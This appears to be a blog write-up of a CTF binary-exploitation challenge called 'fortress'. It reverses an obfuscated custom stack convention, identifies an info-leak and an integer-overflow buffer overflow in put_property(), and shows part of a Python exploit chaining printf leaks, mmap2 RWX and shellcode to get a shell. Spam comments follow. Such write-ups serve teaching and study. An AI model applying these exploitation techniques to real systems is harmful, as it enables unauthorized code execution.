I cannot solve this challenge in time. The binary is 32 bit DSO. When I open it with IDA, the assembly is a mess. I could not understand the code. After doing some debugging, I figured something out.
Normally, the x86 uses ESP and EBP for stack pointer and frame pointer respectively. But this binary uses EBX for stack pointer and ECX for frame pointer. Another different is stack grow from lower address to higher address. So stack layer for this program looks like below.
+-----------+ low address | arg n + +-----------+ + ... + +-----------+ + arg 1 + +-----------+ + saved eip + +-----------+ <=== ecx + saved ecx + +-----------+ + + + local var + + + <=== ebx +-----------+ high address
Other important things are
- The program uses ESI register to keep the Entry Point address in memory.
- All saved eip and pointers to function are obfuscated. The XOR key is at ESI+4248h (or offset 434fh).
- The assembly for call function is similar to below
lea ebp, [esi+21Ch] ; address to return after function lea esp, [esi+4248h] ; get xor key xor ebp, [esp] ; obfuscate return address lea ebx, [ebx+4] ; shift ebx to save return address mov [ebx], ebp ; save return address
- The assembly for function prologue is similar to below
lea ebx, [ebx+4] ; shift ebx to save prev frame pointer mov [ebx], ecx ; save ecx (prev frame pointer) mov ecx, ebx ; move frame pointer add ebx, 10h ; add stack pointer for local var
- The assembly for function epilogue is similar to below (do as leave; ret)
lea edi, [esi+4248h] ; get xor key address mov ebp, [edi] ; get xor key mov ebx, ecx ; restore stack pointer mov ecx, [ebx] ; restore frame pointer lea ebx, [ebx-4] ; remove saved frame pointer xor ebp, [ebx] ; deobfuscate saved eip lea ebx, [ebx-4] ; remove saved eip jmp ebp ; go to return addr
After known all above, I search for the functions with msfelfscan. Here is the result included the function name after I read assembly code (fortress_func_list.txt).
$ msfelfscan -I 0 -r "\x8d\x5b\x04\x89\x0b\x8b\xcb" fortress [fortress] ...
Then I reverse the assembly (took me about 5 hours). Here is my C code (fortress.c). I found 2 vulnerabilities in put_property() function.
struct Property { char address[128]; // 0h char name[32]; // 80h void* fn_show_detail; // 0A0h int price; // 0A4h int sell_price: // 0A8h int footage; // 0ACh int num_bedroom; // 0B0h int num_bathroom; // 0B4h struct Property* prev; // 0B8h struct Property* next; // 0BCh }; // size 0xc0 void put_property() { /* ... */ print_str("\nProperty name: "); read_len = read_until(buffer, 128, '\n'); if (read_len > 32) { print_str("Name too long\n"); free(prop); return; } buffer[read_len] = '\0'; strncpy(prop->name, buffer, 32); // [1] BUG: no null terminated print_str("Address line 1: "); read_len = read_until(buffer, 128, '\n'); if (read_len >= 128) { print_str("Address too long\n"); free(prop); return; } buffer[read_len] = '\n'; print_str("Address line 2: "); data_len = read_len + 1; // [2] BUG: integer overflow if address1 length is 127. below len will be 127-128=-1 read_len = read_until(buffer + data_len, 127 - data_len, '\n'); buffer[data_len + read_len] = '\n'; strncpy(prop->address, buffer, 128); /* ... */ }
First vuln [1] can be used for leak memory address (fn_show_detail and prev). Second vuln [2] is buffer overflow. It can be used to overwrite saved eip of read_until() stack frame (the stack is grown to higher address). But we need to be careful the 'len' and 'size' arguments because the read_until() function uses value from argument. So to make Fortress a Segmentation Fault, we need to put "address 1" 127 characters and "address 2" 340 characters followed by new delimiter and big length. See below (Note: 'DDDD' overwrites the saved eip).
Address line 1: AAA... (127 chars) Address line 2: AAA... (340 chars) ZtttBBBBCCCCDDDDZ Segmentation fault
Exploitation
Because of ASLR and obfuscated address, we need to leak some info first. I use the first bug. Also I put 'price', 'footage', 'num_bedroom', 'num_bathroom' to has no \x00 in memory then sell it to make it prints 'prev' value (the Property struct address in heap) too. The 'fn_show_detail' value is obfuscated, so we can use it to create valid obfuscated address to binary (key^A^A^B = key^B).
To get the real XOR key, I tried to use printf() but it is limited. I cannot use '$' and non-overwritten area is very far. Then, I found something similar to 'ret' in normal code. It is last 3 instructions in function epilogue. To make it like 'pop; ret', use last 4 instructions.
lea ebx, [ebx-4] ; remove saved frame pointer xor ebp, [ebx] ; deobfuscate saved eip lea ebx, [ebx-4] ; remove saved eip jmp ebp ; go to return addr
I used 'ret' and printf() to dump stack value from previous stack frame. And I let program jump to function epilogue after calling printf() to return controlling to program and overflow it again.
Note: The 'prop_addr' is address of Property struct in heap (leak from above). I put format string in there.
""" LOAD:000001A1 lea ebx, [ebx-4] LOAD:000001A4 xor edi, [ebx] LOAD:000001A6 lea ebx, [ebx-4] LOAD:000001A9 jmp edi LOAD:000028D6 lea ebx, [ebx-4] LOAD:000028D9 xor edi, [ebx] LOAD:000028DB lea ebx, [ebx-4] LOAD:000028DE jmp edi """ payload = "" payload += pack("<I", prop_addr) # printf arg payload += pack("<I", leaveret_addr^xor_key) # return control to program payload += pack("<I", print_addr^0x1a1) # printf payload += "\x00\x00\x00\x00"*80 payload += "\xfeAAA" # skipped (delim) payload += pack("<I", 0x28d6^0x1a1) # need to be > 360 (length param) payload += pack("<I", 0) # skipped payload += pack("<I", 0x28d6 ^ xor_key) payload += "\xfe" payload = "A"*(357-len(payload)) + payload # put property for leak image_load_addr and real_xor_key send_and_recv_prompt(sk, "3\n") # put property send_and_recv_prompt(sk, "2\n") # commercial send_and_recv_prompt(sk, "1\n") # name send_and_recv_prompt(sk, "A"*127+"\n") # addr1 data = send_and_recv_prompt(sk, payload) # addr2
Got the non-obfuscated address of string in binary :]. Now I can find image load address and real XOR key. After got all needed information, just do the same method as above. But call to mmap2() with RWX permission and read_until() instead of printf(). Finally jump to shellcode. Pwned!!!
Here is my exploit (fortress.py). It is not 100% work because the obfuscation might get bad char '\n'.
$ python fortress.py xor_key = 56e45ea0 prop_addr = b78a7004 image_load_addr = b78cc000 real_xor_key = e1689ea0 uid=1001(fortress) gid=1001(fortress) fortress key Information disclosure becomes the most wanted
Awesome work! Thanks for cool writeup
ReplyDeleteGreat Post! Really enjoyed reading it, thank you for taking the time to share this.
ReplyDeleteibm full form in india |
ssb ka full form |
what is the full form of dp |
full form of brics |
gnm nursing full form |
full form of bce |
full form of php |
bhim full form |
nota full form in india |
apec full form